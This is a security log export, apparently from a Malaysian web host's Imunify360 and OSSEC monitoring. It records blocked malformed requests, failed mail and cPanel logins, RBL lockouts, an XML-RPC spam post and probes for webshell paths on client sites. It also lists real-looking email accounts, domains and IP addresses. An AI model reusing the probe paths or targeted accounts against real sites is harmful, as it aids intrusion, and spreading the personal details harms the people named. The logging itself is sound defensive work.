IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/glide/jquery.glide.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.197
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/jquery.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.78.8.2
country_id: 3686110
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.216
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.mckd.com.my/en/js/common.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.117.230
country_id: 1562822
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/870195.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 13:02:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.105.219
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-04.50.117.105.219||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/home/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 21 13:07:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 13:08:28 H=([45.144.212.242]) [45.144.212.242]:60478 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 13:09:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.165.161.40
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/index.php/uk/hotel.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 13:10:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12209: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 13:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50604: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 13:10:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 162.246.109.17
country_id: 3374084
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hundred/18/60/1841332 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.202.234
country_id: 895949
description:
2026-01-21 13:12:10 dovecot_login authenticator failed for H=([196.46.202.234]) [196.46.202.234]:3697: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.233.83.90
country_id: 1814991
description:
2026-01-21 13:12:14 dovecot_login authenticator failed for H=([116.233.83.90]) [116.233.83.90]:48938: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 13:12:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:20892: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.100.234
country_id: 1168579
domain: hmz.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84496.hmz.com.my||ServerName:hmz.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4e5494dd8ad5524f6aaf13d565426e3ca804617f||Title:0xbe2643a2||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 13:18:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.234.225.29
country_id: 6252001
description:
2026-01-21 13:18:59 dovecot_login authenticator failed for H=(localhost) [104.234.225.29]:44189: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 13:19:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.62
country_id: 3469034
description:
Jan 21 13:20:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.18
country_id: 3175395
description:
Jan 21 13:20:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.202
country_id: 3469034
description:
Jan 21 13:20:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.18
country_id: 3175395
description:
Jan 21 13:20:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.18 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.173.178.219
country_id: 1562822
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/event-single.php?id=777023 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 13:23:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.107.6
country_id: 290557
description:
Jan 21 13:24:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.107.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.107.6
country_id: 290557
description:
2026-01-21 13:24:38 dovecot_login authenticator failed for H=([5.32.107.6]) [5.32.107.6]:44620: 535 Incorrect authentication data (set_id=nurhidayati@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 13:25:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.29.74.164
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-25.64.29.74.164||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-21 13:26:54 +0800] info [cpaneld] 165.22.212.32 - kimmark "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 87.255.197.92
country_id: 1522867
description:
2026-01-21 13:28:44 472835 [Warning] Aborted connection 472835 to db: 'unconnected' user: 'unauthenticated' host: '87.255.197.92' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.227.227.36
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-29.192.227.227.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.78
country_id: 2510769
description:
Jan 21 13:29:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.239.77.14
country_id: 3996063
description:
Jan 21 13:30:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.239.77.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.226.90
country_id: 1512440
description:
2026-01-21 13:32:25 dovecot_login authenticator failed for H=(localhost) [98.159.226.90]:19759: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.226.90
country_id: 1512440
description:
2026-01-21 13:33:10 dovecot_login authenticator failed for H=(localhost) [98.159.226.90]:8333: 535 Incorrect authentication data (set_id=info@stillman.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 13:33:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.131
country_id: 3865483
description:
Jan 21 13:34:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 13:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12212: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 13:38:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50798: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.198
country_id: 3175395
description:
Jan 21 13:39:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.82.5
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=89551516695551 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 13:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21454: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.96.99.199
country_id: 3175395
description:
Jan 21 13:41:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.96.99.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.3.171.4
country_id: 2088628
description:
Jan 21 13:41:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.3.171.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.240.209
country_id: 1269750
description:
Jan 21 13:42:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.240.209 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/home/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.143
country_id: 3175395
description:
Jan 21 13:41:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.102
country_id: 3469034
description:
Jan 21 13:42:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.102 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.43.194
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1577 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 76.169.71.116
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hard/16/301/1648206 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.232.211.110
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-46.104.232.211.110||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 13:47:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-21 13:47:51 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.34
country_id: 3077311
description:
Jan 21 13:48:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 13:49:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.38
country_id: 298795
description:
Jan 21 13:52:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.38
country_id: 298795
description:
Jan 21 13:52:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.52.98
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-53.166.0.52.98||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 13:57:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.90.185.44
country_id: 2921044
description:
2026-01-21 13:58:03 H=([77.90.185.44]) [77.90.185.44]:55931 F=<adnan.mahmood@oasisfussionservices.com> temporarily rejected RCPT <deane@pspoly.com.my>: Could not complete sender verify


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/csr.php||SC:/home/indfinitydesign/public_html/images/csr.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.139.180.139
country_id: 3175395
description:
Jan 21 13:59:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.139.180.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.210
country_id: 2300660
description:
Jan 21 13:59:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.210
country_id: 2300660
description:
Jan 21 14:00:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 14:00:59 H=([46.151.182.48]) [46.151.182.48]:53178 F=<mailerd@ktlog.com.my> rejected RCPT <jaya@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.173.252.20
country_id: 6252001
description:
2026-01-21 14:01:49 dovecot_login authenticator failed for H=(localhost) [46.173.252.20]:13656: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 199.101.196.167
country_id: 6252001
description:
2026-01-21 14:03:35 dovecot_login authenticator failed for H=(localhost) [199.101.196.167]:34406: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 14:04:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 14:06:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50945: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 14:06:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:12214: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.235.118
country_id: 6252001
description:
Jan 21 14:06:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.235.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:06:30 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:18137: 535 Incorrect authentication data (set_id=htayhtay)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 14:06:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:07:06 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:26321: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:08:02 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:46894: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.124.164
country_id: 1733045
description:
2026-01-21 14:08:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.124.164]:21458: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-21 14:08:59 dovecot_login authenticator failed for H=(ylmf-pc) [165.154.235.118]:64044: 535 Incorrect authentication data


